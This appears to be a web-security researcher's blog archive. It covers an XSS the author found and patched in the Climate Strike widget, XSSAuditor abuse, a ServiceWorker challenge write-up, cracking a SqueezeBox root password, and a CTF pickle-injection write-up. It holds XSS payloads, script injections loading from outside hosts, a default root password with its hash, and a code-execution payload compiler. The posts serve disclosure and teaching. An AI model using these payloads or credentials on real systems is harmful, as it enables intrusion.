What can we do? We agree that DOM XSS deserves a heavier hammer and change our implementation for HTML parsing (which is being used in innerHTML, outerHTML, insertAdjacentHTML, etc.). Normally, this function parses the DOM tree and inserts where assigned. But now, for privileged JavaScript, we parse the DOM tree and omit all kinds of badness before insertion. Luckily, we have something like that in our source tree. In fact, I have tested it in 2013. We also use this to strip HTML email from <script> and its friends in Thunderbird, so it's even battle-tested. On top, we do some additional manual testing and identify some problems around leaving form elements in, which warrants follow-up patches in the future.

A nice benefit is that a commit which changes how DOM parsing works, doesn't allow reverse engineering our vulnerability from the patch. Neat.

In the next cycles, we've been able to make it stricter and removed more badness (e.g., form elements). This was Bug 1432966: Sanitize HTML fragments created for chrome-privileged documents (CVE-2018-5124)

Closing credits and Acknowledgements

Exploitation and Remediation were achieved with the support of various people. Thanks to, security folks, Firefox engineers, release engineers, QA testers. Especially to Johnathan Kingston (co-maintainer of the eslint plugin), Johann Hofman, who found the bad 0day in 2018 and helped testing, shaping of and arguing for an unscheduled release version of Firefox.

No real geckos were harmed in the making of this blog post.

XSS in The Digital #ClimateStrike Widget

2019-09-23T00:00:00+02:00

Life keeps me busy, which is why this blog is seeing less and less publications. It's also the reason why I couldn't join the Global Climate Strike on September 20th. Friends have pointed me towards the Digital Global Climate Strike, where you can embed a script in your website and it will "go dark" on the strike day, drawing attention to the issue and calling people for action.

The widget waits until September 20th 2019 and expands to a big green banner that would block the whole page. Now that the strike is over, it's just a no-op.

Many organizations and websites took part in the Digital Global Climate Strike. Among them: tumblr, wordpress, imgur, wikimedia, boingboing, kickstarter, greenpeace, bittorrent, change.org, Tor project and many many more.

JavaScript and web security is my cup of teap so I couldn't help bug dig in. Maybe this would be a fun opportunity to contribute?

The websites also links to the digital-climate-strike GitHub repository and invites to collaborate. OK, let's give this a read. The file and commit id I am reading is https://github.com/fightforthefuture/digital-climate-strike/blob/0eb2621d0de84adbf9f8d88f99aa3b0e7486f7b9/static/widget.js

The source code starts with a list of settings that might be set on the parent page to allow the overlay be closed (or permanent) or redirect to a self-hosted copy of the widget and so on. iframeHost defines the hostname of the iframe that is being added to the page.

// …
  var DOM_ID = 'DIGITAL_CLIMATE_STRIKE';
  var options = window.DIGITAL_CLIMATE_STRIKE_OPTIONS|| {};
  var iframeHost = options.iframeHost !== undefined ? options.iframeHost : 'https://assets.digitalclimatestrike.net';
  var footerDisplayStartDate = options.footerDisplayStartDate || new Date(2019, 7, 1);       // August 1st, 2019 - arbitrary date in the past
  var fullPageDisplayStartDate = options.fullPageDisplayStartDate || new Date(2019, 8, 20);  // September 20th, 2019
// …

Below is a function getIframeSrc() that uses the iframeHost above. It includes a language check and forwards some of the options to the iframe itself (e.g., when disabling Google Analytics).

The next function createIframe() creates the actual element and sets the .src attribute according to the result of getIframeSrc() as defined previously.

Finally, it will add a message listener to get instructions from the iframe:

window.addEventListener('message', receiveMessage);

Let's look into this receiveMessage function:

function receiveMessage(event) {
  if (!event.data.DIGITAL_CLIMATE_STRIKE) return;

  switch (event.data.action) {
    case 'maximize':
      return maximize();
    case 'closeButtonClicked':
      return closeWindow();
    case 'buttonClicked':
      return navigateToLink(event.data.linkUrl);
  }
}

Wait a minute. The message does not have to come from the climate strike iframe. The function receives a message through the postMessage API and checks whether the received object contains a DIGITAL_CLIMATE_STRIKE attribute. But the website itself could be put into a frame and the parent website would then be able to send messages like this. Alternatively, if the website does not allow being put into a frame (and it should!), it could be opened as a new tab/popup and then receive messages. Depending on further message content, it will call the function closeWindow(), maximize() or navigateToLink(). The last one sounds most interesting. Let's follow along:

function navigateToLink(linkUrl) {
  document.location = linkUrl;
}

OK. This function is meant to be a simple redirect. However, the linkUrl is not being checked against a list of known URLs. We could just redirect to javascript: URLs. Navigations to javascript URLs are an old and weird way to execute JavaScript code. We have just found a Cross-Site Scripting bug.

Here's what an attacker would need to do: Just open the victim website in iframe or popup in a way which leaves you with a JavaScript handle for the tab/window. The XSS is then easily triggered with something like

handle.postMessage({
  DIGITAL_CLIMATE_STRIKE: true,
  'buttonClicked': 'javascript:alert(1)'
  }, "*");

To be clear, I found this bug a week before the strike and wrote a patch that fixes the issue. The patch adds two checks. First of all the receiveMessage() function gets a check that only allows for messages from the real iframe. The hostname was defined in iframeHost as explained in the beginning. Furthermore, we want to limit the navigateToLink function so it only allows visiting actual websites. The patched receiveMessage() function is therefore:

  function receiveMessage(event) {
    if (!event.data.DIGITAL_CLIMATE_STRIKE) return;
    if (event.origin.lastIndexOf(iframeHost, 0) !== 0) return;

    switch (event.data.action) {
      case 'maximize':
        return maximize();
      case 'closeButtonClicked':
        return closeWindow();
      case 'buttonClicked':
        if (event.data.linkUrl.lastIndexOf('http', 0) !== 0) return;
        return navigateToLink(event.data.linkUrl);
    }
  }

Kudos to the team for acknowledging and accepting the fix in a timely manner!

Chrome switching the XSSAuditor to filter mode re-enables old attack

2019-05-10T00:00:00+02:00

Update: In July 2019, Chrome developers announced that they are going to remove XSSAuditor. You can follow their bug tracker here.

Recently, Google Chrome changed the default mode for their Cross-Site Scripting filter XSSAuditor from block to filter. This means that instead of blocking the page load completely, XSSAuditor will now continue rendering the page but modify the bits that have been detected as an XSS issue.

In this blog post, I will argue that the filter mode is a dangerous approach by re-stating the arguments from the whitepaper titled X-Frame-Options: All about Clickjacking? that I co-authored with Mario Heiderich in 2013.

After that, I will elaborate XSSAuditor's other shortocmings and revisit the history of back-and-forth in its default settings. In the end, I hope to convince you that XSSAuditor's contribution is not just neglegible but really negative and should therefore be removed completely.

JavaScript à la Carte

When you allow websites to frame you, you basically give them full permission to decide, what part of JavaScript of your very own script can be executed and what cannot. That sounds crazy right? So, let’s say you have three script blocks on your website. The website that frames you doesn’t mind two of them - but really hates the third one. maybe a framebuster, maybe some other script relevant for security purposes. So the website that frames you just turns that one script block off - and leave the other two intact. Now how does that work?

Well, it’s easy. All the framing website is doing, is using the browser’s XSS filter to selectively kill JavaScript on your page. This has been working in IE some years ago but doesn’t anymore - but it still works perfectly fine in Chrome. Let’s have a look at an annotated code example.

Here is the evil website, framing your website on example.com and sending something that looks like an attempt to XSS you! Only that you don’t have any XSS bugs. The injection is fake - and resembles a part of the JavaScript that you actually use on your site:

<iframe src="//example.com/index.php?code=%3Cscript%20src=%22/js/security-libraries.js%22%3E%3C/script%3E"></iframe>

Now we have your website. The content of the code parameter above is part of your website anyway - no injection here, just a match between URL and site content:

<!doctype html>
<h1>HELLO</h1>
<script src="/js/security-libraries.js"></script>
<script>
// assumes that the libraries are included
</script>

The effect is compelling. The load of the security libraries will be blocked by Chrome’s XSS Auditor, violating the assumption in the following script block, which will run as usual.

Existing and Future Countermeasures

So, as we see defaulting to filter was a bad decision and it can be overriden with the X-XSS-Protection: 1; mode=block header. You could also disallow websites from putting you in an iframe with X-Frame-Options: DENY, but it still leaves an attack vector as your websites could be opened as a top-level window. (The Cross-Origin-Opener-Policy will help, but does not yet ship in any major browser). Surely, Chrome might fix that one bug and stop exposing onerror from internal error pages . But that's not enough.

Other shortcomings of the XSSAuditor

XSSAuditor has numerous problems in detecting XSS. In fact, there are so many that the Chrome Security Team does not treat bypasses as security bugs in Chromium. For example, the XSSAuditor scans parameters individually and thus allows for easy bypasses on pages that have multiple injections points, as an attacker can just split their payload in half. Furthermore, XSSAuditor is only relevant for reflected XSS vulnerabilities. It is completely useless for other XSS vulnerabilities like persistent XSS, Mutation XSS (mXSS) or DOM XSS. DOM XSS has become more prevalent with the rise of JavaScript libraries and frameworks such as jQuery or AngularJS. In fact, a 2017 research paper about exploiting DOM XSS through so-called script gadgets discovered that XSSAuditor is easily bypassed in 13 out of 16 tested JS frameworks

History of XSSAuditor defaults

Here's a rough timeline

2010 - Paper "Regular expressions considered harmful in client-side XSS filters" published. Outlining design of the XSSAuditor, Chrome ships it with default to filter
2016 - Chrome switching to block due to the attacks with non-existing injections
November 2018 - Chrome error pages can be observed in an iframe, due to the onerror event being triggered twice, which allows for cross-site leak attacks .
January 2019 (hitting Chrome stable in April 2019) - XSSAuditor switching back to filter

Conclusion

Taking all things into considerations, I'd highly suggest removing the XSSAuditor from Chrome completely. In fact, Microsoft has announced they'd remove the XSS filter from Edge last year. Unfortunately, a suggestion to retire XSSAuditor initiated by the Google Security Team was eventually dismissed by the Chrome Security Team.

This blog post does not represent the position of my employer.
Thanks to Mario Heiderich for providing valuable feedback: Supporting arguments and useful links are his. Mistakes are all mine.

Challenge Write-up: Subresource Integrity in Service Workers

2017-03-25T00:00:00+01:00

For those who have not participated in my challenge, this document is about implementing security features in ServiceWorkers. A ServiceWorker (SW) is a type of Web Worker that can intercept and modify HTTP requests. A ServiceWorker is allowed to see requests towards your own as well as other origins – though it must not be able to see the response from cross-origin resources.

The idea of the challenge was to write a tiny ServiceWorker that would intercept all HTTP requests and cancel everything except those blessed by a white-list. On top of that, external resources (e.g., scripts) must only be loaded with Subresource Integrity (SRI). This can be easily achieved, because fetch() supports SRI out of the box: If you supply the integrity keyword in the options parameter to fetch, it will automatically fail unless the hashes match:

Here's the relevant code snippet with some extra comments

self.addEventListener("fetch", function(event) {
  let request = event.request;
  if (request.method === "GET") {
    // check if URL in pre-defined whitelist at the top of the document:
    if (request.url in INTEGRITY_METADATA) { 
      // if HTML does not contain integrity=, use from the whitelist
      let sriHash = request.integrity || INTEGRITY_METADATA[request.url];
      let fetchOptions = {
        integrity: sriHash,
        method: request.method,
        mode: "cors", // if we have integrity metadata, it should also use cors
        credentials: "omit", // ...and omit credentials
        cache: "default",
      };
      // ServiceWorker lets the document proceed fetching the resource, but with modified fetch options
      event.respondWith(fetch(request, fetchOptions));

The goal of the challenge was to make the document execute your script - essentially bypassing the ServiceWorker. To facilitate such an attack, I implemented a simple reflected Cross-Site-Scripting (XSS) vulnerability and hinted to its existence in the rules. XSS in general allows executing all kinds of scripts. Inline as well as from a specified URL. Because we wanted the script to go through the ServiceWorker, we have also hardened the challenge with a Content Security Policy (CSP). Content Security Policy is a mechanism to restrict how scripts can be run from a website. The policy that I used disallowed all kinds of inline scripts in tags or event handlers (e.g., <script>...</script> or onerror=). This essentially required an attacker to request a script that is living on their own domain, thus forcing them through the ServiceWorker.

Unless, of course, the attacker was able to find a browser bug involving an arcane constellation of markup that does not trigger the Fetch Event declared in the ServiceWorker.

PEBKAC

As it turns out, most browsers bypass the ServiceWorker when reloading a page with CTRL+SHIFT+R. Not only did this cause some invalid submissions, it also took me until the day I am trying to summarize my finding to notice that I have incorrectly approved some attacks when they do not actually work. This affects the following submissions: Mario Heiderich's vector is <svg><script/href=//14.rs></script> (which is even shorter on Firefox, because you can leave the closing </script> tag out).

But it does not work unless you hard-refresh. But with a hard-refresh, even <script/href=//14.rs></script> works, because, well, hard-refreshes bypass the ServiceWorker.

The same goes for Artur Janc's submission. His approach looks like this <base href="//14.rs"><script src=/></script>, using Mario's short domain name. It also falls flat when the ServiceWorker is correctly installed.

I'm sincerely sorry, but I have to gently wipe you off the leader board. I admit I should have done a better job at testing. I'm very sure you would have found a valid solution, if I had judged the challenge more properly.

Bypassing the Service Worker

Now, let's head on to the first submission. First blood was drawn by Manuel Caballero, who figured out that a script loaded in an <iframe srcdoc=..> is not going through the ServiceWorker. This is somewhat weird, given that a script running navigator.serviceWorker.getRegistrations() in this iframe returns the active ServiceWorker at sri-worker.js.

Masato Kinugawa promptly followed suite with the same attack vector. He also noted that a simple <script src=evil.com></script>-style vector also works in Private Browsing mode. This stems from the fact that the XSS vulnerability usually wins a race with the ServiceWorker registration. Note that the ServiceWorker must be registered from a separate JS file, since inline scripts are disallowed by CSP. This registration happens asynchronously and has to be faster then another script tag that is controlled by the attacker. It's certainly noteworthy, but I did not count this as a valid submission: In a real life scenario, an attacker is only really successful if the victim has a session associated with the web page and has also visited the web page before. In this case, the ServiceWorker is already registered and the bootstrapping is a no-op. I admit that this is a clear gap in my rules, so kudos to Masato Kinugawa (and some other folks who found this issue later on)!

Alex Inführ sent a solution that also used iframe srcdoc, but added the sandbox attribute, which cost him a few more characters.

In a similar vain, Eduardo Vela sent me to https://0v.lv/?e, which contains an iframe sandbox, that links to a conventional XSS on the domain. The trick here, is that navigations from an iframe sandbox pointing to a website with a Service Worker will skip trigger the ServiceWorker. This is a nice find, but wasn't considered a valid solution as it required user interaction.

Implementation flaws and assumptions

Having looked at those submissions that the ServiceWorker does not see, let's take another look at the rest of its source code. Some submissions also found implementation bugs. Here's the code right after the white-list check. Again, I'll add some extra comments.

let LOCALFILES = {};
LOCALFILES["/style.css"] = "sha384-q2bP418TFL/LOAo5XrjD7OciiOi63q6OKnDH67oOGNkWc/rvUaWpynoatxySxEPF";
LOCALFILES["/sri-sha.js"] = "sha384-TKCoLrAkiPTzJzLNLqSmFqC0XA9PCMUwSYg2E/FosZEy7h26mwR9wONvTZ9Zvtj9";
LOCALFILES["/initialize-sw.js"] = "sha384-32IhktVnY10EwfUKtlhYBUoBysS2QM8cmW1bW2HENM3nIEmGDNwpkqdmpaE2jF7Z";#
LOCALFILES["/sri-worker.js"] = "sha384-rRSq8lAgvvL9Tj617AxQJyzf1mB0sO0DfJoRJUMhqsBymYU3S+6qW4ClBNBIvhhk"
let parsed = new URL(request.url);
// other free pass: same-origin
if (parsed.origin === ownLocation.origin) {
  // we allow ourselves (the forward-slash) and paths required for the website to work. some stylesheets etc.
  if ((parsed.pathname === '/') || (parsed.pathname in LOCALFILES)) {
    // note that these requests do not require integrity. the integrity metadata in the object was left out here. 
    // this is mostly a decoy "bug", which I was hoping would confuse people.
    console.log("Fetching same-origin thingy", request.url)
    event.respondWith(fetch(request));
  } else {
    console.log(`[${LOGNAME}] Can not fetch ${request.url}. No integrity metadata.`);
    event.respondWith(Response.error());
  }
} else {
  // cross-origin: blocked.
  console.log(`[${LOGNAME}] Can not fetch ${request.url}. No integrity metadata.`);
 event.respondWith(Response.error());
}

To briefly summarize, we first perform a same-origin check and then allow files in the same origin that are contained in the LOCALFILES object or the file /. Even though the object contains hashes, these are never added to the request and thus never checked. I did not think of this case as a vulnerability and mostly left this inconsistency as a decoy. For every other type of request the code responds with a network error, i.e.,Response.error().

Thinking outside the box

This fine submission reached me when I was leaving the subway on my way home and I really did not understand what was going on:

https://serviceworker.on.web.security.plumbing/index.php/?name=<script/src=//0v.lv></script>

The really important thing to note here is that the request URL contains /index.php/?name=. This trick is called Relative Path Override (or RPO). A technique first described and coined by Gareth Heyes. RPO attacks the fact that the script is loading resources from a relative path initialize-sw.js. The attacker providing a different request path, can thus mess up the additional resource loading. The website will attempt to load the necessary files from /index.php/initialize-sw.js instead and therefore fails.

This is of course extra nasty, when those scripts behind relative paths are implementing security features. A truly nice find, by Eduardo Vela!

Conclusions & Acknowledgments

It's interesting to use fresh technologies like ServiceWorkers, Subresource Integrity and Content Security Policy (heh) in combination and see what happens. Building your own security solutions on top of the web platform is a very complex undertaking and makes you realize that those features were created ad-hoc in a very unsystematic way. As a result of that, I'd advise you not to implement hard guarantees about regulating fetch() calls using Service Workers.

But it's always great fun to think of something interesting and then have yourself proven wrong in the real world. Thanks to Anne van Kersteren for making me look into an implementation of Subresource Integrity (and require-sri-for) with Service Workers. And of course, thanks to all the participants that tried (and succeeded) to break the implementation in various ways.

If you want mandatory Subresource Integrity, I recommend you look into the SRI2 working draft. The require-sri-for CSP extension has been implemented in Firefox and Chrome, but in both cases it's behind a flag (security.csp.experimentalEnabled and experimental Web Platform features respectively)

Finding the SqueezeBox Radio Default SSH Password

2016-09-02T00:00:00+02:00

TLDR:

If SSH is enabled in the advanced settings, you can just login with the default password 1234.

Given the age of the installed SSH daemon, you will likely have to enable legacy cryptography like so:

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes256-cbc -oHostKeyAlgorithms=+ssh-dss  -l root <ip address>

Read on if you want to find out how I managed to crack the password, because I did not find the existing documentation on Squeezebox SSH access.

Prelude

I have a SqueezeBox Radio at home. It does a nice job of playing music from the internet and from my local network. The radio is clearly a linux device and it even listens on port 22. But I don't have the password and this always bummed me. I can stream music to the radio from my local network using the logitech media server software. When migrating server hardware, I looked around what to keep and noticed an updates folder in /var/lib/squeezeboxserver. It turns out, that when the radio asks for updates, the local server is in charge of getting the update file and providing it to the radio.

$ ls updates/
baby_7.7.3_r16676.bin  baby.version
$ ls -l updates/
-rw-r--r-- 1 freddy freddy 14771422 Sep  2 07:54 baby_7.7.3_r16676.bin
-rw-r--r-- 1 freddy freddy      139 Sep  2 07:53 baby.version
$ cat updates/baby.version
7.7.3 r16676
root@ec2mbubld01.idc.logitech.com Fri Feb 14 09:25:26 PST 2014
Base build revision:  bad080aecfec8226a4c1699b29d32cbba4ba396b
$ file updates/*
updates/baby_7.7.3_r16676.bin: Zip archive data, at least v2.0 to extract
updates/baby.version:          ASCII text

So, not knowing this, I had the firmware information on my disk all along? It is on.

Understanding the Firmware Update

This turned out very simple and accessible. Thanks Logitech! Unzipping yields multiple files, among them text files with metadata a zImage (~2.8M) and root.cramfs (13M). Alright, let's mount the root filesystem and take a look around

$ mount -o loop root.cramfs /mnt/
$ cat /etc/shadow
root:$1$Ubbe0.Et$fxA9h74pN/qDu12VAGZca1:13826:0:99999:7:::
nobody:*:14062:0:99999:7:::

Asking a search engine yields nothing, so we have to crack it ourselves. Running john on this takes less than a second.

The password is 1234

Logging in

Logging in is a bit harder than it seems. The radio uses ancient SSH, which offers outdated legacy ciphers:

ssh  192.168.x.y -l root
Unable to negotiate with 192.168.x.y port 22: no matching key exchange method found. Their offer: diffie-hellman-group1-sha1

A quick search shows that we can re-enable the legacy crypto:

$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes256-cbc -oHostKeyAlgorithms=+ssh-dss -l root <ip address>
root@192.168.x.y's password:

This network device is for authorized use only. Unauthorized or improper use
of this system may result in you hearing very bad music. If you do not consent
to these terms, LOG OFF IMMEDIATELY.

Ha, only joking. Now you have logged in feel free to change your root password
using the 'passwd' command. You can safely modify any of the files on this
system. A factory reset (press and hold add on power on) will remove all your
modifications and revert to the installed firmware.

Enjoy!

And that's it. Have fun with your full root privileges!

New CSP directive to make Subresource Integrity mandatory (`require-sri-for`)

2016-06-02T00:00:00+02:00

Background

GitHub is one of the first big webistes using Subresource Integrity and can thus defend against potentially bad Content Delivery Networks (CDNs). The tricky thing with SRI is that you have to include it for every HTML tag that points to a CDN if you want the security benefit. And then, of course, it happend that someone forgot to add this and people were sad. Fortunately, they brought this to the Webappsec Working Group and discussed the matter!

Omitting the details

There have been some discussions whether this should be a parameter on script-src, style-src etc. that I would like to omit for the sake of brevity. Feel free to jump into the mailing list (linked previously) if you are curious about this.

How it works

It's simple! Just add the directive into your Content Security Policy and specify if you need this for scripts, styles or both: Content-Security-Policy: require-sri-for script style

Example:

If you are running today's Firefox Nightly (June 2nd, 2016), you should not see an alert box from html5sec.org vising this the PHP script below:

<?php
header("Content-Security-Policy: require-sri-for script style");
?>
<!-- This should load but cause a devtools warning because bootstrap requires jquery -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" iintegrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>

<!-- these shouldn't load and cause a CSP violation to be reported an alert popup indicates failure. -->
<script src="https://html5sec.org/test.js" integrity="foo"></script>
<script src="https://html5sec.org/test.js" integrity=""></script>
<script src="https://html5sec.org/test.js"></script>

(Sorry, no public demo URL ☹)

Calling for testers

This feature is relatively new, so we need some feedback from enthusiasts: Please see if you can find this useful in deployment (looking at you, GitHub folks) and you, security testers: Can you load scripts from other origins without integrity even though a require-sri-for policy is in place? But please see my notes on known issues below.

Feel free to look also into my patch, if you know a thing or two about C++ and Firefox. The implementation was discussed in Bugzilla bug 1265318 with the patches attached.

Known Issues

CSP violation reporting currently complains about the document URL that included the subresource instead of the subresource URL (bug 1277495.
<svg:script> is, technically speaking, not the same as HTML's <script>, so there are theoretical bypasses via SVG and other mechanisms that run scripts & styles without <link href> and <script src>. I couldn't bypass this using the obvious svg script tab, but this needs further investigation (bug 1277248).
Firefox doesn't manage to enforce the directive when the CSP is in a <meta> tag (bug 1277557).

Your Feedback

Please submit your feedback as bugs in Bugzilla using this link if you want someone to see it. I will not monitor IRC, Twitter or E-Mail over the next few months, as I am going to be on leave over the summer.

Acknowledgements

Thanks to Patrick Toomey from GitHub for raising the issue about SRI enforcement in the first place. Neil Matatall started bringing this into the SRI spec and Sergey Shekyan is currently continuing this. Thanks to the both of you! Thanks to Christoph Kerschbaumer for helping me work on the implementation and Jonathan Hao for doing the groundwork.

Firefox OS apps and beyond

2016-04-12T00:00:00+02:00

I have written two Firefox OS apps, which are both not very popular. You may stop reading here if you haven't used either squeezefox or wallabag-fxos. This article is about how I think they should evolve, while Firefox OS is currently transitioning into a community-led B2G OS.

The apps I have written are both simple web clients for specific API endpoints. My first app, Squeezefox is a remote control for Logitech Squeezebox Wifi Radios. The other one, wallabag-fxos is a Firefox OS client for the Pocket clone Wallabag.

The only feature that makes both of these apps so Firefox OS specific is their use of systemXHR: In Firefox OS, an XMLHttpRequest (XHR) instantiated with the {mozSystem: true} parameter is allowed to issue HTTP requests towards all origins. This is what allows my apps to be configured to talk with the user's wallabag instance (or squeezebox device).

I myself do not use those apps very heavily myself anymore and don't think I would make a great maintainer. But I do strongly believe in webapps and the future of the web regardless of the success of particular platforms, and I want these apps to be useful - regardless of the user agent.

For this reason, I suggest re-architecting applications who rely on it to be freed from proprietary technologies like systemXHR: The idea is to suggest users they self-host these apps on the same origin where they already host their main endpoint. Both wallabag and squeezebox servers (aka logitech media servers) allow hosting additional static files besides those which are built-in. By removing some app-specific endpoint settings and defaulting to request against location.href, those apps can become more universally usable in its current form without any extra permissions or vendor-specific extensions.

Users who want to keep my apps in their Firefox OS/B2G OS specific nature, may keep using them as is. I have saved their current state in branches called fxos-legacy.

I will continue to welcome contributions to both the new architecture as well as the legacy branches, but I strongly recommend forking my projects if folks intend to use them productively in the future. But starting now, I will not commit to actively drive the development of either.

Teacher's Pinboard Write-up

2015-12-02T00:00:00+01:00

I found the address of the teacher's pinboard! Can you try to get in and read all teachers' notes? Maybe you need to attack the admin account as well.

The fluxfingers (again) hosted the Capture The Flag (CTF) event for the hack.lu security conference in Luxembourg. It's long since I've left the university but I'm still fond of both the hack.lu CTF and fluxfingers, so I contributed two tasks for the event.

Since nobody bothered to publish their solution for the challenge, I have decided to release my own. By the way, you can still access the challenge in the archive and I recommend you take a look yourself, before you continue reading this spoiler.

The teacher's pinboard is a website that provides you a log-in form that accepts any kind of username and password combination. After logging in, you are provided with a typical pinboard and you might notice that the website has provided you three cookies of the following format:

session=7341e6fa2ab3b37f26e0cac6fedc25f3438e5fb9b12a9daed890459aa21f349b12676b3d;
accountinfo=(dp0%0AS'username'%0Ap1%0AS'foo'%0Ap2%0AsS'password'%0Ap3%0AS'bar'%0Ap4%0AsS'admin'%0Ap5%0AI00%0As.;
signature=81a380499ae8a9801c1b791da88d93bb5c74224ce59c60ae4a5010bc943ad85f

The accountinfo looks interesting!

Lets decode it:

(dp0\nS'username'\np1\nS'foo'\np2\nsS'password'\np3\nS'bar'\np4\nsS'admin'\np5\nI00\ns.

With some research (or experience), one might notice that this is the output of Python's pickle module. Unpickling this thus leads the following dictionary:

{'admin': False, 'password': 'bar', 'username': 'foo'}

Setting admin to True does not work, as the other cookie (signature) seems to enforce integrity of the accountinfo data. Another idea would be to attempt generic pickle exploits (like so), which did not work out as well.

After some further close inspection, the user might notice that the JavaScript that comes with the pinboard does not only provide the nice user interface for playing with the notes. It also deals with the cookies! First it reads the cleartext password in your cookies and uses that to derive an encryption key. This key is then used to store the current notes in localStorage. Why? Mostly decoy, actually.

The interesting part is how it looks a the cookies. It does so by executing pickle.loads() in JavaScript.

"Pickle in JavaScript??" you say. Yes, in JavaScript. For this challenge, I have re-implemented Python's pickle module in JavaScript. Pickle is not actually a storage format but a nice little stack machine, that is easy to understand and fun to read. Take a look at /usr/lib/python2.7/pickle.py for example. The JavaScript pickle code is worth a read too, but the concept is generally the same: If you want to execute a function, you load a reference to a global on the stack and call it using R (reduce). Parameters of said function should be a tuple on the stack just below the function.

So what would we do in JavaScript, if we wanted to execute arbitrary code but not write a pickle thing by hand? Well, throw our source code on the stack and call eval() of course. Turns out, the pickle.js author (me) thought of that too and implemented a blacklist, that disallows certain things:

  const BLACKLIST = ["require", "eval", "setTimeout", "setInterval", "setImmediate"];

So that still leaves us with the Function constructor. I also know that Teams who solved this challenge used process.mainModule.require, which should also work. In general, the blacklist was more of a hint that one was going in the right direction than a real blocker.

I ended up writing a compiler that takes JavaScript source code and produces a pickle object that executes said code:

function compiler(s) {
  // c= load global "Function" on stack
  // ( = set marker on stack, S = create String
  // t = create tuple from marker to top of stack
  //     (i.e. put string in a tuple)
  // R = call top-of-stack - 1 with top-of-stack as the argument
  //
  // i.e., call Function(), with s as param  
  var pickle = "cglobal\nFunction\n(S'"+s+"'\ntR";
  pickle +=    "(tR."
  return pickle;
};

Executing arbitrary code means you can now go through the directory and either find the file with the flag or find the source code and the secret key to produce an HMAC for a cookie that has admin set to True.

A CDN that can not XSS you: Using Subresource Integrity

2015-07-19T00:00:00+02:00

This blog post is the text-version of my presentation from OWASP AppSec EU 2015. You can download the slides or watch the video on YouTube

Introduction

In this blog post, I explain Subresource Integrity (SRI), of which I am one of the co-editors. SRI is an upcoming W3C standard that allows securing third-party loads of JavaScript and CSS. This is achieved by comparing the content with a cryptograhic digest that is contained within the surrounding HTML tag.

Motivation

Many websites use Content Delivery Networks (CDNs) to improve website performance and save on bandwidth. Loading a popular libraries in a common version from a CDN has a high likelihood of being already in your visitor's cache. A lot of CDNs also provide metrics.

The problem I see with CDNs is that you are increasing the risk surface of your web application: If your own setup is relatively secure, the attacker may just go ahead and attack the CDN instead.

This is because JavaScript files included on your HTML execute within the scope of your application: This spans everything that is on the same scheme (HTTP or HTTPS), domain name and port (i.e., on the same origin. See here for more). This implies not only access to all web content, which may be sensitive information like user names, passwords and email address. The script is also allowed to fully interact with the DOM, the cookies and all permissions given to the current website (e.g., Geolocation, Notifications, etc.).

Furthermore, attackers that are interested in targeting a lot of users (and not just your web application) will go for popular CDNs to gain a very high impact - as we have seen with DDoS attacks against GitHub.

But reducing this attack surface is not that complicated In fact, we already know exactly what file we want to include. There is no need to allow arbitrary scripts from a third-party to go wild within your web page. If only we could check the file before executing it.

Subresource Integrity to the Rescue

You can now check that the scripts matches exactly what you wanted to include, when you originally wrote your web page!

Subresource Integrity (SRI) allows specifying the digest of the file that you want to include. The digest is the output of a cryptographic hash function, which helps us achieve integrity.

The idea is that you provide a short integrity attribute, which will help the browser decide if the file has been modified. This works because a hash function gives a completely different output every time someone modifies the file.

Using Subresource Integrity

Subresource Integrity is an upcoming W3C standard to secure script and style loads from other domains.

Just add an integrity attribute to your script tag.

Scripts

<script src="https://code.jquery.com/jquery-1.10.2.min.js"
        integrity="sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg="
        crossorigin="anonymous"></script>

Styles

<link rel="stylesheet" href="https://site53.example.net/style.css"
      integrity="sha256-vjnUh7+rXHH2lg/5vDY8032ftNVCIEC21vL6szrVw9M="
      crossorigin="anonymous">

Computing the `integrity` value

The value of the integrity attribute forms a tiny micro-syntax, that is the name of the cryptographic hash function (e.g. sha256) and the output that it has given us.

An example is given in the SRI specification:

$ echo -n "alert('Hello, world.');" | openssl dgst -sha256 -binary | openssl enc -base64 -A
qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=

Just prefix this with sha256- and you're done.

What is this `crossorigin` attribute?

It is usually not allowed to read the content of files on other domains (rather: origins). It only works if the domain explicitly allows this. In short, SRI requires CORS to work. The crossorigin attribute tells the browser to fetch the file in a way that allows reading it afterwards or fail if CORS is not supported. Fortunately, a lot of CDNs already enable cors.

Multiple hashes

You can provide multiple tokens of integrity metadata (i.e., hashname, dash and value) in one integrity attribute. If they contain different hash functions, the browser will pick and prioritize the strongest.

You can also specify multiple values with the same hash function. This is useful when you expect one of many possible resources behind a URL. This can happen because of browser sniffing, or when you expect an update to a file that should not break the page.

Error Recovery & Reporting

Despite earlier attempts, there is no error recovery or error reporting functionality in Subresource Integrity for now.

You need to recover from failed script loads, otherwise your website may break. A typical attempt would be to load the desired third-party library from an (un-cached) copy on your own origin:

<script src="https://code.jquery.com/jquery.min.js"
        integrity="sha256-C6CB9UYIS9UJeqinPHWTHVq…"
        crossorigin="anonymous"></script>
<script>window.jQuery || document.write('<script src="/jquery-.min.js"><\/script>')</script>

You could also use navigator.sendBeacon to log this, if you have an infrastructure for error reporting.

Tooling

There are already some tools that help using Subresource Integrity.

sri-toolbox generates valid integrity metadata (hash name, dash, digest)
Ember.js plugin
broccoli plugin

Implementation Status

Subresource Integrity is coming to mainline browsers soon (Firefox, Chrome or use a Polyfill). You can test SRI support on srihash.org.

Conclusion

Loading your scripts and styles from a Content Delivery Network (CDN) can harm your website, if the CDN gets compromised or becomes malicious. You can add integrity attributes to secure your third-party scripts & styles. This greatly diminishes security risks, as any change to those files will be detected and prevented by the browser.

The Twitter Gazebo

2015-07-18T00:00:00+02:00

Earlier this week, Twitter rolled out a new account dashboard. This new feature allows users to manage app access to their account and gain insights into previous logins and their metadata (IP address, app name and date).

Curious how this works or what my login history looks like, I gave it a quick test.

Wait, what's that? Twitter Gazebo?

I mean, it's OK to me that Twitter has access to my account data and that it is constantly analyzing all tweets and outgoing links of all users. That's what's making most web sites enjoyable these days: Fighting spam and removing malware is a common thing.

But what is this Gazebo and does is mean that someone actively used the log-in function to get into my account?

I will update this blog post, once I have found out…

German Firefox 1.0 ad (OCR)

2014-11-09T00:00:00+01:00

Deutsch

